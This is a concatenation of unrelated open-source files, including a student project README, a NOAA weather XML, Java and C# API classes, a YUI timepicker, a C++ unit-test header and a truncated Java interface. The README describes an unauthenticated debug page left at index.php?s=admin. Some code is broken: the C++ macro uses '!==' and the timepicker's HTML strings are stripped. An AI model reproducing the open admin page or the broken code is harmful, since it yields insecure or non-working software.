text:
Dario Messina
Andrea Cavallaro
Giuliano Cotrufo

The Main folder is the entire website.
The template is writtem from 0, we used only BxSlider, a jquery plugin for galleries, carousel and much more.

APK: the APK is in the APK folder, it was tested with a Nexus 5 6.0.1 and is working.
The application was build using /app files and config.xml .

DB: The SQL dump is in the DB DUMP folder
P-IDM: The P-IDM is in the P-IDM folder

In the website we leaved a debug page that we used to populate database. You can access to this page at index.php?s=admin

for further question messdar@gmail.com

redpajama_set_name: RedPajamaGithub


text:
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet href="latest_ob.xsl" type="text/xsl"?>
<current_observation version="1.0"
	 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
	 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	 xsi:noNamespaceSchemaLocation="http://www.weather.gov/view/current_observation.xsd">
	<credit>NOAA's National Weather Service</credit>
	<credit_URL>http://weather.gov/</credit_URL>
	<image>
		<url>http://weather.gov/images/xml_logo.gif</url>
		<title>NOAA's National Weather Service</title>
		<link>http://weather.gov</link>
	</image>
	<suggested_pickup>15 minutes after the hour</suggested_pickup>
	<suggested_pickup_period>60</suggested_pickup_period>
	<location>Unknown Station</location>
	<station_id>CZFS</station_id>
	<observation_time>Last Updated on Jan 5 2016, 2:00 am ST </observation_time>
        <observation_time_rfc822>Tue, 05 Jan 2016 02:00:00 +0000</observation_time_rfc822>
	<temperature_string>-2.0 F (-18.7 C)</temperature_string>
	<temp_f>-2.0</temp_f>
	<temp_c>-18.7</temp_c>
	<relative_humidity>87</relative_humidity>
	<wind_string>Southeast at 2.3 MPH (2 KT)</wind_string>
	<wind_dir>Southeast</wind_dir>
	<wind_degrees>140</wind_degrees>
	<wind_mph>2.3</wind_mph>
	<wind_kt>2</wind_kt>
	<pressure_string>1018.9 mb</pressure_string>
	<pressure_mb>1018.9</pressure_mb>
	<dewpoint_string>-4.5 F (-20.3 C)</dewpoint_string>
	<dewpoint_f>-4.5</dewpoint_f>
	<dewpoint_c>-20.3</dewpoint_c>
	<two_day_history_url>http://www.weather.gov/data/obhistory/CZFS.html</two_day_history_url>
	<ob_url>http://www.weather.gov/data/METAR/CZFS.1.txt</ob_url>
	<disclaimer_url>http://weather.gov/disclaimer.html</disclaimer_url>
	<copyright_url>http://weather.gov/disclaimer.html</copyright_url>
	<privacy_policy_url>http://weather.gov/notice.html</privacy_policy_url>
</current_observation>


text:
package com.microsoft.azure.management.apimanagement.v2019_12_01.implementation;

import java.util.List;
import com.fasterxml.jackson.annotation.JsonProperty;

/**
 * Paged Recipient User list representation.
 */
public class RecipientUserCollectionInner {
    /**
     * Page values.
     */
    @JsonProperty(value = "value")
    private List<RecipientUserContractInner> value;

    /**
     * Next page link if any.
     */
    @JsonProperty(value = "nextLink")
    private String nextLink;

    /**
     * Get page values.
     *
     * @return the value value
     */
    public List<RecipientUserContractInner> value() {
        return this.value;
    }

    /**
     * Set page values.
     *
     * @param value the value value to set
     * @return the RecipientUserCollectionInner object itself.
     */
    public RecipientUserCollectionInner withValue(List<RecipientUserContractInner> value) {
        this.value = value;
        return this;
    }

    /**
     * Get next page link if any.
     *
     * @return the nextLink value
     */
    public String nextLink() {
        return this.nextLink;
    }

    /**
     * Set next page link if any.
     *
     * @param nextLink the nextLink value to set
     * @return the RecipientUserCollectionInner object itself.
     */
    public RecipientUserCollectionInner withNextLink(String nextLink) {
        this.nextLink = nextLink;
        return this;
    }

}


text:
using Microsoft.SharePoint.Client;
using System.Management.Automation;
using OfficeDevPnP.PowerShell.Commands.Base.PipeBinds;
using OfficeDevPnP.PowerShell.CmdletHelpAttributes;

namespace OfficeDevPnP.PowerShell.Commands
{
    [Cmdlet(VerbsCommon.Remove, "SPOApp")]
    [CmdletHelp("Removes an app from a site")]
    [CmdletExample(
        Code = @"PS:> Remove-SPOnlineApp -Identity $appinstance")]
    [CmdletExample(
        Code = @"PS:> Remove-SPOnlineApp -Identity 99a00f6e-fb81-4dc7-8eac-e09c6f9132fe")]
    public class RemoveApp : SPOWebCmdlet
    {
        [Parameter(Mandatory = true, ValueFromPipeline = true, HelpMessage = "Appinstance or Id of the app to remove.")]
        public AppPipeBind Identity;

        protected override void ExecuteCmdlet()
        {
            if (Identity.Instance != null)
            {
                Identity.Instance.Uninstall();
                ClientContext.ExecuteQuery();
            }
            else
            {
                var instance = this.SelectedWeb.GetAppInstanceById(Identity.Id);
                instance.Uninstall();
                ClientContext.ExecuteQuery();
            }
        }

    }
}


text:
package gov.va.contentlib.controllers;

import android.content.Context;
import android.view.View;
import android.view.View.OnClickListener;

public class RelaxationController extends BaseExerciseController {

	public RelaxationController(Context ctx) {
		super(ctx);
	}

	public void nonExerciseBuild() {
		super.build();
	}

	@Override
	public void onContentBecameVisibleForFirstTime() {
		super.onContentBecameVisibleForFirstTime();
		playAudio();
	}

	@Override
	public void build() {
		super.build();
		addThumbs();
		addButton("I'm Done").setOnClickListener(new OnClickListener() {
			public void onClick(View v) {
				navigateToNext();
			}
		});

		clientView.setKeepScreenOn(true);
	}
}


text:
package com.salama.service.clouddata.util;

import java.beans.IntrospectionException;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationTargetException;
import java.math.BigDecimal;
import java.sql.Timestamp;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Locale;

import org.apache.log4j.Logger;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import CollectionCommon.ITreeNode;
import MetoXML.AbstractReflectInfoCachedSerializer;

/**
 *
 * @author XingGu Liu
 *
 */
public class SimpleJSONDataUtil extends AbstractReflectInfoCachedSerializer {
	private static Logger logger = Logger.getLogger(SimpleJSONDataUtil.class);

	public static JSONObject convertObjectToJSONObject(Object obj) {
		return new JSONObject(obj);
	}

	public static String convertObjectToJSON(Object obj) {
		JSONObject json = new JSONObject(obj);

		return json.toString();
	}

	public static JSONArray convertListObjectToJSONArray(List<?> objList) {
		JSONArray jsonArray = new JSONArray();

		for(Object obj : objList) {
			jsonArray.put(new JSONObject(obj));
		}

		return jsonArray;
	}

	public static String convertListObjectToJSON(List<?> objList) {
		return convertListObjectToJSONArray(objList).toString();
	}

	public static <T> List<T> convertJSONToListObject(String jsonString, Class<T> objType)
			throws IntrospectionException, IllegalAccessException, InstantiationException, JSONException,
	ParseException, InvocationTargetException{
		JSONArray jsonArray = new JSONArray(jsonString);

		List<T> listData = new ArrayList<T>();
		int length = jsonArray.length();

		JSONObject jsonObject = null;
		T data = null;

		for(int i = 0; i < length; i++) {
			jsonObject = jsonArray.getJSONObject(i);
			data = (T) convertJSONToObject(jsonObject, objType);

			listData.add(data);
		}

		return listData;
	}

	public static Object convertJSONToObject(String jsonString, Class<?> objType)
			throws IntrospectionException, IllegalAccessException, InstantiationException, JSONException,
			ParseException, InvocationTargetException {
		JSONObject json = new JSONObject(jsonString);
		return convertJSONToObject(json, objType);
	}

	public static Object convertJSONToObject(JSONObject jsonObject, Class<?> objType)
			throws IntrospectionException, IllegalAccessException, InstantiationException, JSONException,
			ParseException, InvocationTargetException {
//		PropertyDescriptor[] properties = Introspector.getBeanInfo(objType).getPropertyDescriptors();
		PropertyDescriptor[] properties = findPropertyDescriptorArray(objType);

		Object data = objType.newInstance();

		PropertyDescriptor property;
		String propName;
		for(int i = 0; i < properties.length; i++) {
			property = properties[i];
			propName = property.getName();
			if(propName.equals("class")) {
				continue;
			}

			if(!jsonObject.has(propName)) {
				continue;
			}

			Object value;
			try {
				if(isList(property.getPropertyType())) {
					String strValue = jsonObject.get(propName).toString();
					value = convertJSONToListObject(strValue, objType);
				} else if(isArray(property.getPropertyType())) {
					JSONArray jsonArray = (JSONArray) jsonObject.get(propName);

					Class<?> elementType = property.getPropertyType().getComponentType();
					value = Array.newInstance(elementType, jsonArray.length());
					for(int k = 0; k < jsonArray.length(); k++) {
						JSONObject jsonObjInArray = jsonArray.getJSONObject(k);
						Array.set(value, k, convertJSONToObject(jsonObjInArray, elementType));
					}
				} else if(property.getPropertyType() == String.class) {
					value = jsonObject.getString(propName);
				} else {
					String strValue = jsonObject.get(propName).toString();
					value = Convert(property.getPropertyType(), strValue);
				}
			} catch(JSONException e) {
				//null
				logger.warn("convertJSONToObject()", e);
				value = Convert(property.getPropertyType(), null);
			}

			property.getWriteMethod().invoke(data, value);
		}
		return data;
	}

    public static Object Convert(Class<?> type, String valueStr) throws IllegalAccessException, ParseException, IntrospectionException, InstantiationException, JSONException, InvocationTargetException {
    	SimpleDateFormat JavaUtilDateFormatForParse = new SimpleDateFormat("EEE MMM dd HH:mm:ss z yyyy", Locale.ENGLISH);
    	SimpleDateFormat JavaSqlTimeStampFormatForParse = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS");
    	SimpleDateFormat JavaSqlDateFormatForParse = new SimpleDateFormat("yyyy-MM-dd");

    	Class<?> cls = (Class<?>) type;
		if(cls == String.class) {
			return valueStr;
		} else if(cls == boolean.class) {
			return valueStr == null? Boolean.valueOf(false) : Boolean.valueOf(valueStr);
		} else if(cls == byte.class) {
	    	return valueStr == null? Byte.valueOf((byte)0) : Byte.valueOf(valueStr);
    	} else if(cls == short.class) {
    		return valueStr == null? Short.valueOf((short)0) : Short.valueOf(valueStr);
		} else if(cls == int.class) {
			return valueStr == null? Integer.valueOf(0) : Integer.valueOf(valueStr);
		} else if(cls == long.class) {
			return valueStr == null? Long.valueOf(0) : Long.valueOf(valueStr);
		} else if(cls == float.class) {
			return valueStr == null? Float.valueOf(0) : Float.valueOf(valueStr);
		} else if(cls == double.class) {
			return valueStr == null? Double.valueOf(0) : Double.valueOf(valueStr);
		} else if(cls == char.class) {
			return valueStr == null? Character.valueOf('\0') : valueStr.charAt(0);
		} else if(cls == Boolean.class) {
			return valueStr == null? Boolean.valueOf(false) : Boolean.valueOf(valueStr);
		} else if(cls == Byte.class) {
	    	return valueStr == null? Byte.valueOf((byte)0) : Byte.valueOf(valueStr);
    	} else if(cls == Short.class) {
    		return valueStr == null? Short.valueOf((short)0) : Short.valueOf(valueStr);
		} else if(cls == Integer.class) {
			return valueStr == null? Integer.valueOf(0) : Integer.valueOf(valueStr);
		} else if(cls == Long.class) {
			return valueStr == null? Long.valueOf(0) : Long.valueOf(valueStr);
		} else if(cls == Float.class) {
			return valueStr == null? Float.valueOf(0) : Float.valueOf(valueStr);
		} else if(cls == Double.class) {
			return valueStr == null? Double.valueOf(0) : Double.valueOf(valueStr);
		} else if(cls == Character.class) {
			return valueStr == null? Character.valueOf('\0') : valueStr.charAt(0);
		} else if(cls == Date.class) {
			return valueStr == null? null : JavaUtilDateFormatForParse.parse(valueStr);
		} else if(cls == java.sql.Date.class) {
			if(valueStr == null) {
				return null;
			} else {
				Date date = JavaSqlDateFormatForParse.parse(valueStr);
				return (new java.sql.Date(date.getTime()));
			}
		} else if(cls == java.sql.Timestamp.class) {
			if(valueStr == null) {
				return null;
			} else {
				Date date = JavaSqlTimeStampFormatForParse.parse(valueStr);
				return new Timestamp(date.getTime());
			}
		} else if(cls == BigDecimal.class) {
			return valueStr == null? BigDecimal.valueOf(0) : (new BigDecimal(valueStr));
		} else {
			return convertJSONToObject(valueStr, cls);
		}
	}

	@Override
	protected void BackwardToNode(ITreeNode arg0, int arg1) {
		//do nothing
	}

	@Override
	protected void ForwardToNode(ITreeNode arg0, int arg1, boolean arg2) {
		//do nothing
	}

    private static boolean isArray(Class<?> cls) {
    	return cls.isArray();
    }

    private static boolean isList(Class<?> cls) {
    	return List.class.isAssignableFrom(cls);
    }

}


text:
.PHONY: all
all: container

.PHONY: container
container:
	docker build -t data .

.PHONY: run
run:
	docker run -d -p 5432:5432 --hostname=data --name=data data

.PHONY: debug
debug:
	docker run -i -t -p 5432:5432 --hostname=data --name=data data


text:
YUI.add('gallery-timepicker', function(Y) {

/**
 * A yui 3 timepicker
 *
 * @module Timepicker
 * @requires oop, event-custom, attribute, base, dom, classnamemanager, widget, event
 */

 /**
  * a YUI 3 implementation of the classic jQuery
  * timepicker widget
  * @class Timepicker
  * @namespace Y.Saw
  * @extends Widget
  */

var array = Y.Array,
getClassName = Y.ClassNameManager.getClassName,

//repeated and/or magic strings
NAMESPACE   = 'Saw',
CONSTRUCTOR = 'Timepicker',

CELL_CLASS   = 'cell',
HOUR_CLASS   = 'hour',
MINUTE_CLASS = 'minute',
AMPM_CLASS   = 'ampm',
ACTIVE_CLASS = 'active',

NAME        = 'NAME',
ROW         = 'row',
AMSTR_KEY   = 'strings.am',
PMSTR_KEY   = 'strings.pm',

DELAY_KEY   = 'delay',

//constants for AM & PM
AM          = 0,
PM          = 1;

//create the constructor, chain the parent
function Timepicker(config) {
	Timepicker.superclass.constructor.apply(this, arguments);
     /* the "model", actually a cache of dom refrences to find
        elements quickly later */
	this._model = {ampm : {},hour : {} , minute : {}};
}

 /* utils */

/**
 * Pad numbers to two digits
 * @protected
 * @method pad
 * @param {Number} num the number to bad
 * @returns {String} padded number as string
 * @type String|Object|Array|Boolean|Number
 */
function pad(num) {
    return (num < 10) ? '0' + num : num;
}

/**
 * Creates a cell based on the little template defined in "str"
 * @protected
 * @method makeCell
 * @param {String} str The contents of the cell
 * @param {String} rowId the unique classname for the row to identify it later
 *
 * @returns {String} returns the assembled html string
 */

function makeCell(str, rowId){
    var thisClass = getClassName(Timepicker[NAME], Timepicker[str]),
        myStr = '
'+str+'
';
    return myStr;
}

Timepicker[NAME] = 'timepicker';

Timepicker.ATTRS = {

    time:{
        value:{
            hour:0,
            minute:0,
            ampm:AM
        }
    },

    delay:{
        value:15
    },

    strings: {
        value: {
            am : "AM",
            pm : "PM",
            seperator : ':'
        }
    }
};

//build class names
Timepicker[HOUR_CLASS] = getClassName(Timepicker[NAME], HOUR_CLASS);
Timepicker[MINUTE_CLASS] = getClassName(Timepicker[NAME], MINUTE_CLASS);
Timepicker[AMPM_CLASS] = getClassName(Timepicker[NAME], AMPM_CLASS);
Timepicker[HOUR_CLASS] = getClassName(Timepicker[NAME], HOUR_CLASS, ROW);
Timepicker[MINUTE_CLASS] = getClassName(Timepicker[NAME], MINUTE_CLASS, ROW);
Timepicker[CELL_CLASS] = getClassName(Timepicker[NAME], CELL_CLASS);
Timepicker[ACTIVE_CLASS] = getClassName(Timepicker[NAME], ACTIVE_CLASS);

Y.extend(Timepicker, Y.Widget, {

          /* static vars */

          AM:AM,

          PM:PM,

          /* allow a short delay before highlight */
          _timer: null,

          initializer:function(){
              this.set('time.ampm', AM);
              var hour = this.get('time.hour');
              this.set('time.hour', ((hour === 0) ? 12 : hour));

          },

          destructor: function(){
              // nuke the model, which is storing references to dom objects

              delete(this._model.ampm);
              delete(this._model.hour);
              delete(this._model.minute);

          },

          /**
           * This method syncs the value of time object,
           * including building the strings for 12hr and 24hr
           * also fires a 'timeset' event
           * @method _syncTime
           * @protected
           *
           */
          _syncTime:function(){

              /**
               * Fires when a new time has been set (after the time strings)
               * have been built. Use this event rather than timeChange.
               * @event timeset
               * @param {Object} the time attribute object with the following attributes
               *

               *
hour

               *
The 12 hour hour

               *
minute

               *
The minutes

               *
s12hour

               *
A string representing the 12 hour time, with a seperator and an am/pm indicator as defined in strings

               *
s24hour

               *
A string representing the 24 hour time, with the seperator defined in strings

               *

               */

               /**
                * Fires when a cell is clicked on
                * @event cellclick
                * @param event {Event.Facade} An Event Facade object
                */
              var time = this.get('time'),

              ampm = time.ampm,
              seperator = this.get('strings.seperator'),
              minute    = pad(time.minute),

              //build the string for ampm based on the strings
              ampmString = (ampm === AM) ? this.get(AMSTR_KEY) : this.get(PMSTR_KEY);

              //store the string representation of the 12 hour time

              this.set('time.s12hour',
                      ((time.hour === 0) ? 12 : time.hour) +
                      seperator + minute + ampmString);

              //convert 12 hour to 24
              var hour = (ampm === PM) ? parseInt(time.hour,10) + 12 : parseInt(time.hour,10);
              if(hour == 24 || hour === 0 ) {hour = Math.abs(hour-12);}
              if(hour == 12 && ampm == AM) {hour = 0;}

              //store the string for 24 hour time
              this.set('time.s24hour', hour + seperator + minute);

              //fire time change event
              this.fire('timeset', this.get('time'));
          },

          _handleClick:function(e){
              //dispatch 'cellclick' event on any clicks
              if(e.target.test('.'+Timepicker[CELL_CLASS])){
                  this.fire('cellclick', this.get('time'));
              }
          },

          _handleOver:function(e){
              //this handles mouseover events, which it uses to change
              //the store value of time as defined in the params

              var targ = e.target, delay = this.get(DELAY_KEY);

              if(this._timer){
                  this._timer.cancel();
                  this._timer = null;
              }

              this._timer = Y.later(delay, this, this._highlight, targ);

          },

          _highlight:function(targ){
              //make sure this is one of our cells
                if(targ.test('.'+Timepicker[CELL_CLASS])){

                    var value = targ.get('innerHTML');

                    //we are using classnames to figure out which row is which
                    if(targ.hasClass(Timepicker[HOUR_CLASS])){
                        this.set('time.hour',value);
                    }else if (targ.hasClass(Timepicker[AMPM_CLASS])){

                        //ugly, but otherwise we would need to embed metadata
                        //somewhere else, this seemed easy enough
                        var amString = this.get(AMSTR_KEY);

                        if(value == amString){
                            this.set('time.ampm', AM);
                        } else{
                            this.set('time.ampm', PM);
                        }

                    }else{
                        this.set('time.minute', value);
                    }

                }
                this._syncTime();

                this.syncUI();
          },

          _handleOut:function(e){
              if(this._timer){
                  this._timer.cancel();
                  this._timer = null;
              }
          },

          renderUI: function(){
              //FIXME: This could be more efficient!

              /*
              current implementation builds three ordered lists, one for
              each row. Then we use the makeCell private method tp create a cell
              with the given class, based on string constants defined up top
              */
              var cb = this.get('contentBox'),
                   m = this._model,
				   rows = [],
				   i;

              //create row function is very simple...
              function createRow(){ return cb.create('
');}

              var row = [];
              //only need three rows
              for (i=0; i <= 3; i++) {
                  row[i] = createRow();
              }

              //wrap make cell in node create
              function mc (str, c){
                  return cb.create(makeCell(str, c));
              }

              m[AMPM_CLASS].AM = mc(this.get(AMSTR_KEY),AMPM_CLASS);
              m[AMPM_CLASS].PM = mc(this.get(PMSTR_KEY),AMPM_CLASS);
              row[0].appendChild(m[AMPM_CLASS].AM);
              row[0].appendChild(m[AMPM_CLASS].PM);

              //build rows, creating a function to use only twice, but
              //still remove duplicates
              function assembleRow(start, row, max, step, c){
                  for(var i = start; i<=max; i=i+step){
                      var cell = mc(i, c);
                      m[c][i] = cell;
                      row.appendChild(cell);
                  }
              }

              assembleRow(1, row[1], 12, 1, HOUR_CLASS);

              assembleRow(0, row[2], 45, 15, MINUTE_CLASS);

              this._model[AMPM_CLASS].row = row[0];
              this._model[HOUR_CLASS].row = row[1];
              this._model[MINUTE_CLASS].row = row[2];

              var parent = cb.create('
');

              array.each(row, function(item){
                  parent.appendChild(item);
              });

              cb.appendChild(parent);

              //store for later
              this.allCells = cb.all('li');

          },

          /**
           * Show/hide the widget
           * @method toggle
           */
          toggle: function(){
  Y.log('Toggling picker visability', 'info', CONSTRUCTOR);
              this[(this.get('visible') ? 'hide' : 'show')]();
              this.syncUI(); //IE 6 has an issue without this
          },

          bindUI: function(){

              var cb = this.get('contentBox');

              cb.on('click', this._handleClick, this);
              cb.on('mouseover', this._handleOver, this);
              cb.on('mouseout', this._handleOut, this);
          },

          syncUI: function(){
              Y.log('Syncing picker time', 'info', CONSTRUCTOR);
              //get the current tine vlaue
              var time = this.get('time');

              //get all of the li elements to clear their active state
              this.allCells.removeClass(Timepicker[ACTIVE_CLASS]);

              var m = this._model;
              var apos = 0;

              //handle ampm row, because of l10n can't count on
              //the value, so instead we use the "constant"
              if(time.ampm == AM){
                  m.ampm.AM.addClass(Timepicker[ACTIVE_CLASS]);
                  apos = m.ampm.AM.getX();
              }else if(time.ampm == PM){
                  m.ampm.PM.addClass(Timepicker[ACTIVE_CLASS]);
                  apos = m.ampm.PM.getX();
              }

              //handle minute row
              m.minute[time.minute].addClass(Timepicker[ACTIVE_CLASS]);

              //handle hour row
              m.hour[time.hour].addClass(Timepicker[ACTIVE_CLASS]);

              m.hour.row.setX(apos);

              m.minute.row.setX(m.hour[time.hour].getX());

          }
      });

Y.Base.build(Timepicker.NAME, Timepicker, {dynamic:false});
Y.namespace(NAMESPACE +'.'+CONSTRUCTOR);
Y[NAMESPACE][CONSTRUCTOR] = Timepicker;

}, 'gallery-2011.10.12-20-24' ,{requires:['oop', 'event-custom', 'attribute', 'base', 'dom', 'classnamemanager', 'widget', 'event']});


text:
/* glpk.h */

/*----------------------------------------------------------------------
-- Copyright (C) 2000, 2001, 2002, 2003, 2004 Andrew Makhorin,
-- Department for Applied Informatics, Moscow Aviation Institute,
-- Moscow, Russia. All rights reserved. E-mail: <mao@mai2.rcnet.ru>.
--
-- This file is part of GLPK (GNU Linear Programming Kit).
--
-- GLPK is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-- any later version.
--
-- GLPK is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
-- License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with GLPK; see the file COPYING. If not, write to the Free
-- Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-- 02111-1307, USA.
----------------------------------------------------------------------*/

#ifndef _GLPK_H
#define _GLPK_H

#include "glpios.h"
#include "glplib.h"
#include "glplpx.h"

#endif

/* eof */


text:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>OneLineException xref</title>
<link type="text/css" rel="stylesheet" href="../stylesheet.css" />

View Javadoc

1   package tools;
2
3   public class OneLineException {
4
5       public static void throwIfIsNull(Object target) {
6           if (target == null) {
7               throw new NullPointerException();
8           }
9       }
10  }

Copyright © 2017. All rights reserved.


text:
  ASSERT_TRUE(cond);

#define ASSERT_TRUE(cond)\
  if (!(cond)) throw mt::AssertFailedException(#cond, __FILE__, __LINE__);

#define ASSERT_FALSE(cond)\
  if (cond) throw mt::AssertFailedException(#cond, __FILE__, __LINE__);

#define ASSERT_NULL(value)\
  ASSERT_TRUE(value == NULL);

#define ASSERT_NOTNULL(value)\
  ASSERT_TRUE(value != NULL);

#define ASSERT_STREQ(a, b)\
  if (std::string(a).compare(std::string(b)) != 0) {\
    printf("%s{    info} %s", mt::yellow(), mt::def());\
    std::cout << "Actual values: " << a << " != " << b << std::endl;\
    throw mt::AssertFailedException(#a " == " #b, __FILE__, __LINE__);\
  }

#define ASSERT_STRNEQ(a, b)\
  if (std::string(a).compare(std::string(b)) !== 0) {\
    printf("%s{    info} %s", mt::yellow(), mt::def());\
    std::cout << "Actual values: " << a << " == " << b << std::endl;\
    throw mt::AssertFailedException(#a " != " #b, __FILE__, __LINE__);\
  }

#define ASSERT_EQ(a, b)\
  if (a != b) {\
    printf("%s{    info} %s", mt::yellow(), mt::def());\
    std::cout << "Actual values: " << a << " != " << b << std::endl;\
  }\
  ASSERT(a == b);

#define ASSERT_NEQ(a, b)\
  if (a == b) {\
    printf("%s{    info} %s", mt::yellow(), mt::def());\
    std::cout << "Actual values: " << a << " == " << b << std::endl;\
  }\
  ASSERT(a != b);

////////////////
// Unit Tests //
////////////////

#define TEST(name) \
  void name();\
  namespace {\
    bool __##name = mt::TestsManager::AddTest(name, #name);\
  }\
  void name()

///////////////
// Framework //
///////////////

namespace mt {

  inline const char* red() {
    return "\033[1;31m";
  }

  inline const char* green() {
    return "\033[0;32m";
  }

  inline const char* yellow() {
    return "\033[0;33m";
  }

  inline const char* def() {
    return "\033[0m";
  }

  inline void printRunning(const char* message, FILE* file = stdout) {
    fprintf(file, "%s{ running}%s %s\n", green(), def(), message);
  }

  inline void printOk(const char* message, FILE* file = stdout) {
    fprintf(file, "%s{      ok}%s %s\n", green(), def(), message);
  }

  inline void printFailed(const char* message, FILE* file = stdout) {
    fprintf(file, "%s{  failed} %s%s\n", red(), message, def());
  }

  // Exception that is thrown when an assertion fails.
  class AssertFailedException : public std::exception {
   public:
    AssertFailedException(std::string description, std::string filepath, int line) :
      std::exception(),
      description_(description),
      filepath_(filepath),
      line_(line) {};

    virtual const char* what() const throw() {
      return description_.c_str();
    }

    inline const char* getFilepath() {
      return filepath_.c_str();
    }

    inline int getLine() {
      return line_;
    }

   protected:
    std::string description_;
    std::string filepath_;
    int line_;
  };

  class TestsManager {
    // Note: static initialization fiasco
    // http://www.parashift.com/c++-faq-lite/static-init-order.html
    // http://www.parashift.com/c++-faq-lite/static-init-order-on-first-use.html
   public:
    struct Test {
      const char* name;
      void (*fn)(void);
    };

    static std::vector<Test>& tests() {
      static std::vector<Test> tests_;
      return tests_;
    }

    // Adds a new test to the current set of tests.
    // Returns false if a test with the same name already exists.
    inline static bool AddTest(void (*fn)(void), const char* name) {
      tests().push_back({ name, fn });
      return true;
    }

    // Run all tests that are registered.
    // Returns the number of tests that failed.
    inline static size_t RunAllTests(FILE* file = stdout) {
      size_t num_failed = 0;

      for (const Test& test : tests()) {
        // Run the test.
        // If an AsserFailedException is thrown, the test has failed.
        try {
          printRunning(test.name, file);

          (*test.fn)();

          printOk(test.name, file);

        } catch (AssertFailedException& e) {
          printFailed(test.name, file);
          fprintf(file, "           %sAssertion failed: %s%s\n",
                  red(), e.what(), def());
          fprintf(file, "           %s%s:%d%s\n",
                  red(), e.getFilepath(), e.getLine(), def());
          ++num_failed;
        }
      }

      int return_code = (num_failed > 0) ? 1 : 0;
      return return_code;
    }
  };

  // Class that will capture the arguments passed to the program.
  class Runtime {
   public:
    static const std::vector<std::string>& args(int argc = -1, char** argv = NULL) {
      static std::vector<std::string> args_;
      if (argc >= 0) {
        for (int i = 0; i < argc; ++i) {
          args_.push_back(argv[i]);
        }
      }
      return args_;
    }
  };
}

#define TEST_MAIN() \
  int main(int argc, char *argv[]) {\
    mt::Runtime::args(argc, argv);\
    \
    size_t num_failed = mt::TestsManager::RunAllTests(stdout);\
    if (num_failed == 0) {\
      fprintf(stdout, "%s{ summary} All tests succeeded!%s\n", mt::green(), mt::def());\
      return 0;\
    } else {\
      double percentage = 100.0 * num_failed / mt::TestsManager::tests().size();\
      fprintf(stderr, "%s{ summary} %lu tests failed (%.2f%%)%s\n", mt::red(), num_failed, percentage, mt::def());\
      return -1;\
    }\
  }

#endif // __MICROTEST_H__


text:
package com.ctrip.xpipe.redis.core.metaserver;

import com.ctrip.xpipe.endpoint.HostPort;
import com.ctrip.xpipe.exception.ErrorMessage;
import com.ctrip.xpipe.redis.core.entity.ClusterMeta;
import com.ctrip.xpipe.redis.core.entity.RedisMeta;
import com.ctrip.xpipe.redis.core.protocal.pojo.MasterInfo;

/**
 * used for console
 * @author wenchao.meng
 *
 * Aug 2, 2016
 */
public interface MetaServerConsoleService extends MetaServerService{

	void clusterAdded(String clusterId, ClusterMeta clusterMeta);

	void clusterModified(String clusterId, ClusterMeta clusterMeta);

	void clusterDeleted(String clusterId);

	/**
	 * @param clusterId
	 * @param shardId
	 * @param primaryDc
	 * @return
	 * 0 : success
	 * 1 : already
	 * other : fail
	 */
	PrimaryDcCheckMessage changePrimaryDcCheck(String clusterId, String shardId, String newPrimaryDc);

	/**
	 * just try
	 * @param clusterId
	 * @param shardId
	 * @param readOnly  true mark as read only, false writable
	 */
	PreviousPrimaryDcMessage makeMasterReadOnly(String clusterId, String shardId, boolean readOnly);

	/**
	 * for new primary: promote redis, sync to redis<br/>
	 * for others: sync to new primary dc's active keeper
	 * @param clusterId
	 * @param shardId
	 * @param newPrimaryDc
	 * @return
	 */
	PrimaryDcChangeMessage doChangePrimaryDc(String clusterId, String shardId, String newPrimaryDc, PrimaryDcChangeRequest request);

	RedisMeta getCurrentMaster(String clusterId, String shardId);

	public static enum PRIMARY_DC_CHECK_RESULT{

		SUCCESS,
		PRIMARY_DC_ALREADY_IS_NEW,
		FAIL
	}

	public static class PreviousPrimaryDcMessage{

		private HostPort masterAddr;

		private MasterInfo masterInfo;

		private String message;

		public PreviousPrimaryDcMessage(){
		}

		public PreviousPrimaryDcMessage(HostPort masterAddr, MasterInfo masterInfo, String message){
			this.masterAddr = masterAddr;
			this.masterInfo = masterInfo;
			this.message = message;
		}

		public HostPort getMasterAddr() {
			return masterAddr;
		}

		public void setMasterAddr(HostPort masterAddr) {
			this.masterAddr = masterAddr;
		}

		public void setMessage(String message) {
			this.message = message;
		}

		public void setMasterInfo(MasterInfo masterInfo) {
			this.masterInfo = masterInfo;
		}

		public MasterInfo getMasterInfo() {
			return masterInfo;
		}

		public String getMessage() {
			return message;
		}

		@Override
		public String toString() {
			return String.format("master:%s, masterInfo:%s, log:%s", masterAddr, masterInfo, message);
		}
	}

	public static class PrimaryDcCheckMessage extends ErrorMessage<PRIMARY_DC_CHECK_RESULT>{

		public PrimaryDcCheckMessage(){}

		public PrimaryDcCheckMessage(PRIMARY_DC_CHECK_RESULT errorType, String errorMessage) {
			super(errorType, errorMessage);
		}

		public PrimaryDcCheckMessage(PRIMARY_DC_CHECK_RESULT errorType) {
			super(errorType, null);
		}

		public boolean isSuccess() {
			return PRIMARY_DC_CHECK_RESULT.SUCCESS.equals(getErrorType());
		}
	}

	public static enum PRIMARY_DC_CHANGE_RESULT{

		SUCCESS,
		FAIL
	}

	public static class PrimaryDcChangeRequest {

		private MasterInfo masterInfo;

		public PrimaryDcChangeRequest(){
		}

		public PrimaryDcChangeRequest(PreviousPrimaryDcMessage previousPrimaryDcMessage){
			if(previousPrimaryDcMessage != null){
				this.masterInfo = previousPrimaryDcMessage.getMasterInfo();
			}
		}

		public PrimaryDcChangeRequest(MasterInfo masterInfo){
			this.masterInfo = masterInfo;
		}

